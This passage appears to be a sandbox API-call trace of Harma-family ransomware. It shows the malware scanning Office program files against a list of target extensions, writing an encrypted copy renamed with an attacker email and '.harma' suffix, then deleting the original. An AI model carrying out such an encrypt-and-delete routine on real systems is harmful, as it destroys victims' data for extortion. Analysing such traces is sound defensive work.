lpString2=".DLL") returned 1 [0170.732] lstrlenW (lpString=".rar") returned 4 [0170.732] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0170.732] lstrlenW (lpString=".bz2") returned 4 [0170.732] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0170.732] lstrlenW (lpString=".7z") returned 3 [0170.732] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0170.732] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CSS7DATA0009.DLL") returned 59 [0170.732] lstrlenW (lpString=".dbf") returned 4 [0170.732] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0170.732] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CSS7DATA0009.DLL") returned 59 [0170.732] lstrlenW (lpString=".1cd") returned 4 [0170.732] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0170.732] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CSS7DATA0009.DLL") returned 59 [0170.732] lstrlenW (lpString=".jpg") returned 4 [0170.732] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0170.732] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CSS7DATA0009.DLL") returned 59 [0170.732] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CSS7DATA0009.DLL") returned 59 [0170.732] lstrlenW (lpString=".doc") returned 4 [0170.732] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0170.732] lstrlenW (lpString=".docx") returned 5 [0170.732] lstrcmpiW (lpString1=".docx", lpString2="9.DLL") returned -1 [0170.732] lstrlenW (lpString=".pdf") returned 4 [0170.732] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0170.732] lstrlenW (lpString=".xls") returned 4 [0170.733] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0170.733] lstrlenW (lpString=".xlsx") returned 5 [0170.733] lstrcmpiW (lpString1=".xlsx", lpString2="9.DLL") returned -1 [0170.733] lstrlenW (lpString=".ppt") returned 4 [0170.733] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0170.733] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CSS7DATA0009.DLL") returned 59 [0170.733] lstrlenW (lpString=".zip") returned 4 [0170.733] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0170.733] lstrlenW (lpString=".rar") returned 4 [0170.733] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0170.733] lstrlenW (lpString=".bz2") returned 4 [0170.733] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0170.733] lstrlenW (lpString=".7z") returned 3 [0170.733] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0170.733] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CSS7DATA0009.DLL") returned 59 [0170.733] lstrlenW (lpString=".dbf") returned 4 [0170.733] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0170.733] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CSS7DATA0009.DLL") returned 59 [0170.733] lstrlenW (lpString=".1cd") returned 4 [0170.733] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0170.733] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CSS7DATA0009.DLL") returned 59 [0170.733] lstrlenW (lpString=".jpg") returned 4 [0170.733] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0170.734] lstrcmpiW (lpString1=".DLL", lpString2=".harma") returned -1 [0170.734] lstrlenW (lpString="CSS7DATA000A.DLL") returned 16 [0170.734] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CSS7DATA000A.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\css7data000a.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0170.734] GetFileSizeEx (in: hFile=0x338, lpFileSize=0x363ff1c | out: lpFileSize=0x363ff1c*=766384) returned 1 [0170.734] CloseHandle (hObject=0x338) returned 1 [0170.734] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CSS7DATA000A.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\css7data000a.dll")) returned 0x20 [0170.735] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CSS7DATA000A.DLL.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\css7data000a.dll.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0170.735] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CSS7DATA000A.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\css7data000a.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0170.735] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CSS7DATA000A.DLL") returned 59 [0170.735] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CSS7DATA000A.DLL") returned 59 [0170.735] lstrlenW (lpString=".doc") returned 4 [0170.735] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0170.735] lstrlenW (lpString=".docx") returned 5 [0170.735] lstrcmpiW (lpString1=".docx", lpString2="A.DLL") returned -1 [0170.735] lstrlenW (lpString=".pdf") returned 4 [0170.735] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0170.735] lstrlenW (lpString=".xls") returned 4 [0170.735] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0170.735] lstrlenW (lpString=".xlsx") returned 5 [0170.735] lstrcmpiW (lpString1=".xlsx", lpString2="A.DLL") returned -1 [0170.735] lstrlenW (lpString=".ppt") returned 4 [0170.735] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0170.735] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CSS7DATA000A.DLL") returned 59 [0170.735] lstrlenW (lpString=".zip") returned 4 [0170.735] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0170.736] lstrlenW (lpString=".rar") returned 4 [0170.736] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0170.736] lstrlenW (lpString=".bz2") returned 4 [0170.736] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0170.736] lstrlenW (lpString=".7z") returned 3 [0170.736] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0170.736] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CSS7DATA000A.DLL") returned 59 [0170.736] lstrlenW (lpString=".dbf") returned 4 [0170.736] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0170.736] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CSS7DATA000A.DLL") returned 59 [0170.736] lstrlenW (lpString=".1cd") returned 4 [0170.736] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0170.736] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CSS7DATA000A.DLL") returned 59 [0170.736] lstrlenW (lpString=".jpg") returned 4 [0170.736] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0170.736] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CSS7DATA000A.DLL") returned 59 [0170.736] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CSS7DATA000A.DLL") returned 59 [0170.736] lstrlenW (lpString=".doc") returned 4 [0170.736] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0170.736] lstrlenW (lpString=".docx") returned 5 [0170.736] lstrcmpiW (lpString1=".docx", lpString2="A.DLL") returned -1 [0170.736] lstrlenW (lpString=".pdf") returned 4 [0170.736] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0170.736] lstrlenW (lpString=".xls") returned 4 [0170.736] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0170.736] lstrlenW (lpString=".xlsx") returned 5 [0170.736] lstrcmpiW (lpString1=".xlsx", lpString2="A.DLL") returned -1 [0170.737] lstrlenW (lpString=".ppt") returned 4 [0170.737] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0170.737] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CSS7DATA000A.DLL") returned 59 [0170.737] lstrlenW (lpString=".zip") returned 4 [0170.737] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0170.737] lstrlenW (lpString=".rar") returned 4 [0170.737] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0170.737] lstrlenW (lpString=".bz2") returned 4 [0170.737] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0170.737] lstrlenW (lpString=".7z") returned 3 [0170.737] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0170.737] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CSS7DATA000A.DLL") returned 59 [0170.737] lstrlenW (lpString=".dbf") returned 4 [0170.737] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0170.737] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CSS7DATA000A.DLL") returned 59 [0170.737] lstrlenW (lpString=".1cd") returned 4 [0170.737] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0170.737] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CSS7DATA000A.DLL") returned 59 [0170.737] lstrlenW (lpString=".jpg") returned 4 [0170.737] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0170.737] lstrcmpiW (lpString1=".DLL", lpString2=".harma") returned -1 [0170.738] lstrlenW (lpString="CSS7DATA000C.DLL") returned 16 [0170.738] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CSS7DATA000C.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\css7data000c.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0170.738] GetFileSizeEx (in: hFile=0x338, lpFileSize=0x363ff1c | out: lpFileSize=0x363ff1c*=766384) returned 1 [0170.738] CloseHandle (hObject=0x338) returned 1 [0170.738] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CSS7DATA000C.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\css7data000c.dll")) returned 0x20 [0170.739] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CSS7DATA000C.DLL.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\css7data000c.dll.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0170.739] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CSS7DATA000C.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\css7data000c.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0170.739] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CSS7DATA000C.DLL") returned 59 [0170.739] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CSS7DATA000C.DLL") returned 59 [0170.739] lstrlenW (lpString=".doc") returned 4 [0170.739] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0170.739] lstrlenW (lpString=".docx") returned 5 [0170.739] lstrcmpiW (lpString1=".docx", lpString2="C.DLL") returned -1 [0170.739] lstrlenW (lpString=".pdf") returned 4 [0170.739] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0170.739] lstrlenW (lpString=".xls") returned 4 [0170.739] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0170.739] lstrlenW (lpString=".xlsx") returned 5 [0170.739] lstrcmpiW (lpString1=".xlsx", lpString2="C.DLL") returned -1 [0170.739] lstrlenW (lpString=".ppt") returned 4 [0170.739] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0170.739] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CSS7DATA000C.DLL") returned 59 [0170.739] lstrlenW (lpString=".zip") returned 4 [0170.739] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0170.739] lstrlenW (lpString=".rar") returned 4 [0170.740] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0170.740] lstrlenW (lpString=".bz2") returned 4 [0170.740] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0170.740] lstrlenW (lpString=".7z") returned 3 [0170.740] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0170.740] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CSS7DATA000C.DLL") returned 59 [0170.740] lstrlenW (lpString=".dbf") returned 4 [0170.740] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0170.740] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CSS7DATA000C.DLL") returned 59 [0170.740] lstrlenW (lpString=".1cd") returned 4 [0170.740] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0170.740] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CSS7DATA000C.DLL") returned 59 [0170.740] lstrlenW (lpString=".jpg") returned 4 [0170.740] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0170.740] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CSS7DATA000C.DLL") returned 59 [0170.740] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CSS7DATA000C.DLL") returned 59 [0170.740] lstrlenW (lpString=".doc") returned 4 [0170.740] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0170.740] lstrlenW (lpString=".docx") returned 5 [0170.740] lstrcmpiW (lpString1=".docx", lpString2="C.DLL") returned -1 [0170.740] lstrlenW (lpString=".pdf") returned 4 [0170.740] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0170.740] lstrlenW (lpString=".xls") returned 4 [0170.740] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0170.740] lstrlenW (lpString=".xlsx") returned 5 [0170.741] lstrcmpiW (lpString1=".xlsx", lpString2="C.DLL") returned -1 [0170.741] lstrlenW (lpString=".ppt") returned 4 [0170.741] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0170.741] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CSS7DATA000C.DLL") returned 59 [0170.741] lstrlenW (lpString=".zip") returned 4 [0170.741] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0170.741] lstrlenW (lpString=".rar") returned 4 [0170.741] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0170.741] lstrlenW (lpString=".bz2") returned 4 [0170.741] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0170.741] lstrlenW (lpString=".7z") returned 3 [0170.741] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0170.741] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CSS7DATA000C.DLL") returned 59 [0170.741] lstrlenW (lpString=".dbf") returned 4 [0170.741] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0170.741] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CSS7DATA000C.DLL") returned 59 [0170.741] lstrlenW (lpString=".1cd") returned 4 [0170.741] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0170.741] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CSS7DATA000C.DLL") returned 59 [0170.741] lstrlenW (lpString=".jpg") returned 4 [0170.741] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0170.742] lstrcmpiW (lpString1=".propdesc", lpString2=".harma") returned 1 [0170.742] lstrlenW (lpString="Custom.propdesc") returned 15 [0170.742] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Custom.propdesc" (normalized: "c:\\program files\\microsoft office\\office14\\custom.propdesc"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0170.742] GetFileSizeEx (in: hFile=0x338, lpFileSize=0x363ff1c | out: lpFileSize=0x363ff1c*=1343) returned 1 [0170.742] CloseHandle (hObject=0x338) returned 1 [0170.743] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Custom.propdesc" (normalized: "c:\\program files\\microsoft office\\office14\\custom.propdesc")) returned 0x20 [0170.743] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Custom.propdesc.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\custom.propdesc.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0170.743] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Custom.propdesc" (normalized: "c:\\program files\\microsoft office\\office14\\custom.propdesc"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0170.744] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec8 | out: lpNewFilePointer=0x0) returned 1 [0170.744] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec8 | out: lpNewFilePointer=0x0) returned 1 [0170.744] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Custom.propdesc.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\custom.propdesc.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0170.745] GetLastError () returned 0x0 [0170.745] ReadFile (in: hFile=0x338, lpBuffer=0x4050020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fed4, lpOverlapped=0x0 | out: lpBuffer=0x4050020*, lpNumberOfBytesRead=0x363fed4*=0x53f, lpOverlapped=0x0) returned 1 [0171.052] WriteFile (in: hFile=0x384, lpBuffer=0x4050020*, nNumberOfBytesToWrite=0x540, lpNumberOfBytesWritten=0x363fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4050020*, lpNumberOfBytesWritten=0x363fc9c*=0x540, lpOverlapped=0x0) returned 1 [0171.053] ReadFile (in: hFile=0x338, lpBuffer=0x4050020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fed4, lpOverlapped=0x0 | out: lpBuffer=0x4050020*, lpNumberOfBytesRead=0x363fed4*=0x0, lpOverlapped=0x0) returned 1 [0171.053] WriteFile (in: hFile=0x384, lpBuffer=0x4050020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x363fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4050020*, lpNumberOfBytesWritten=0x363fc9c*=0xf2, lpOverlapped=0x0) returned 1 [0171.053] SetEndOfFile (hFile=0x384) returned 1 [0171.053] CloseHandle (hObject=0x384) returned 1 [0171.053] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec8 | out: lpNewFilePointer=0x0) returned 1 [0171.053] SetEndOfFile (hFile=0x338) returned 1 [0171.056] CloseHandle (hObject=0x338) returned 1 [0171.056] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Custom.propdesc.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0171.057] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Custom.propdesc" (normalized: "c:\\program files\\microsoft office\\office14\\custom.propdesc")) returned 1 [0171.058] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Custom.propdesc") returned 58 [0171.058] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Custom.propdesc") returned 58 [0171.058] lstrlenW (lpString=".doc") returned 4 [0171.058] lstrcmpiW (lpString1=".doc", lpString2="desc") returned -1 [0171.058] lstrlenW (lpString=".docx") returned 5 [0171.058] lstrcmpiW (lpString1=".docx", lpString2="pdesc") returned -1 [0171.058] lstrlenW (lpString=".pdf") returned 4 [0171.058] lstrcmpiW (lpString1=".pdf", lpString2="desc") returned -1 [0171.058] lstrlenW (lpString=".xls") returned 4 [0171.058] lstrcmpiW (lpString1=".xls", lpString2="desc") returned -1 [0171.058] lstrlenW (lpString=".xlsx") returned 5 [0171.058] lstrcmpiW (lpString1=".xlsx", lpString2="pdesc") returned -1 [0171.058] lstrlenW (lpString=".ppt") returned 4 [0171.058] lstrcmpiW (lpString1=".ppt", lpString2="desc") returned -1 [0171.058] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Custom.propdesc") returned 58 [0171.058] lstrlenW (lpString=".zip") returned 4 [0171.058] lstrcmpiW (lpString1=".zip", lpString2="desc") returned -1 [0171.058] lstrlenW (lpString=".rar") returned 4 [0171.058] lstrcmpiW (lpString1=".rar", lpString2="desc") returned -1 [0171.058] lstrlenW (lpString=".bz2") returned 4 [0171.058] lstrcmpiW (lpString1=".bz2", lpString2="desc") returned -1 [0171.058] lstrlenW (lpString=".7z") returned 3 [0171.058] lstrcmpiW (lpString1=".7z", lpString2="esc") returned -1 [0171.058] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Custom.propdesc") returned 58 [0171.058] lstrlenW (lpString=".dbf") returned 4 [0171.059] lstrcmpiW (lpString1=".dbf", lpString2="desc") returned -1 [0171.059] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Custom.propdesc") returned 58 [0171.059] lstrlenW (lpString=".1cd") returned 4 [0171.059] lstrcmpiW (lpString1=".1cd", lpString2="desc") returned -1 [0171.059] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Custom.propdesc") returned 58 [0171.059] lstrlenW (lpString=".jpg") returned 4 [0171.059] lstrcmpiW (lpString1=".jpg", lpString2="desc") returned -1 [0171.059] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Custom.propdesc") returned 58 [0171.059] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Custom.propdesc") returned 58 [0171.059] lstrlenW (lpString=".doc") returned 4 [0171.059] lstrcmpiW (lpString1=".doc", lpString2="desc") returned -1 [0171.059] lstrlenW (lpString=".docx") returned 5 [0171.059] lstrcmpiW (lpString1=".docx", lpString2="pdesc") returned -1 [0171.059] lstrlenW (lpString=".pdf") returned 4 [0171.059] lstrcmpiW (lpString1=".pdf", lpString2="desc") returned -1 [0171.059] lstrlenW (lpString=".xls") returned 4 [0171.059] lstrcmpiW (lpString1=".xls", lpString2="desc") returned -1 [0171.059] lstrlenW (lpString=".xlsx") returned 5 [0171.059] lstrcmpiW (lpString1=".xlsx", lpString2="pdesc") returned -1 [0171.059] lstrlenW (lpString=".ppt") returned 4 [0171.059] lstrcmpiW (lpString1=".ppt", lpString2="desc") returned -1 [0171.059] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Custom.propdesc") returned 58 [0171.059] lstrlenW (lpString=".zip") returned 4 [0171.059] lstrcmpiW (lpString1=".zip", lpString2="desc") returned -1 [0171.059] lstrlenW (lpString=".rar") returned 4 [0171.059] lstrcmpiW (lpString1=".rar", lpString2="desc") returned -1 [0171.059] lstrlenW (lpString=".bz2") returned 4 [0171.059] lstrcmpiW (lpString1=".bz2", lpString2="desc") returned -1 [0171.059] lstrlenW (lpString=".7z") returned 3 [0171.059] lstrcmpiW (lpString1=".7z", lpString2="esc") returned -1 [0171.059] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Custom.propdesc") returned 58 [0171.060] lstrlenW (lpString=".dbf") returned 4 [0171.060] lstrcmpiW (lpString1=".dbf", lpString2="desc") returned -1 [0171.060] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Custom.propdesc") returned 58 [0171.060] lstrlenW (lpString=".1cd") returned 4 [0171.060] lstrcmpiW (lpString1=".1cd", lpString2="desc") returned -1 [0171.060] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Custom.propdesc") returned 58 [0171.060] lstrlenW (lpString=".jpg") returned 4 [0171.060] lstrcmpiW (lpString1=".jpg", lpString2="desc") returned -1 [0171.060] lstrcmpiW (lpString1=".dll", lpString2=".harma") returned -1 [0171.060] lstrlenW (lpString="EntityPicker.dll") returned 16 [0171.060] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\EntityPicker.dll" (normalized: "c:\\program files\\microsoft office\\office14\\entitypicker.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0171.063] GetFileSizeEx (in: hFile=0x338, lpFileSize=0x363ff1c | out: lpFileSize=0x363ff1c*=268672) returned 1 [0171.063] CloseHandle (hObject=0x338) returned 1 [0171.063] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\EntityPicker.dll" (normalized: "c:\\program files\\microsoft office\\office14\\entitypicker.dll")) returned 0x20 [0171.063] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\EntityPicker.dll.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\entitypicker.dll.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0171.063] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\EntityPicker.dll" (normalized: "c:\\program files\\microsoft office\\office14\\entitypicker.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0171.063] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\EntityPicker.dll") returned 59 [0171.063] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\EntityPicker.dll") returned 59 [0171.063] lstrlenW (lpString=".doc") returned 4 [0171.063] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0171.063] lstrlenW (lpString=".docx") returned 5 [0171.063] lstrcmpiW (lpString1=".docx", lpString2="r.dll") returned -1 [0171.063] lstrlenW (lpString=".pdf") returned 4 [0171.063] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0171.064] lstrlenW (lpString=".xls") returned 4 [0171.064] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0171.064] lstrlenW (lpString=".xlsx") returned 5 [0171.064] lstrcmpiW (lpString1=".xlsx", lpString2="r.dll") returned -1 [0171.064] lstrlenW (lpString=".ppt") returned 4 [0171.064] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0171.064] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\EntityPicker.dll") returned 59 [0171.064] lstrlenW (lpString=".zip") returned 4 [0171.064] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0171.064] lstrlenW (lpString=".rar") returned 4 [0171.064] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0171.064] lstrlenW (lpString=".bz2") returned 4 [0171.064] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0171.064] lstrlenW (lpString=".7z") returned 3 [0171.064] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0171.064] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\EntityPicker.dll") returned 59 [0171.064] lstrlenW (lpString=".dbf") returned 4 [0171.064] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0171.064] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\EntityPicker.dll") returned 59 [0171.064] lstrlenW (lpString=".1cd") returned 4 [0171.064] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0171.064] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\EntityPicker.dll") returned 59 [0171.064] lstrlenW (lpString=".jpg") returned 4 [0171.064] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0171.064] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\EntityPicker.dll") returned 59 [0171.064] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\EntityPicker.dll") returned 59 [0171.064] lstrlenW (lpString=".doc") returned 4 [0171.064] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0171.064] lstrlenW (lpString=".docx") returned 5 [0171.064] lstrcmpiW (lpString1=".docx", lpString2="r.dll") returned -1 [0171.064] 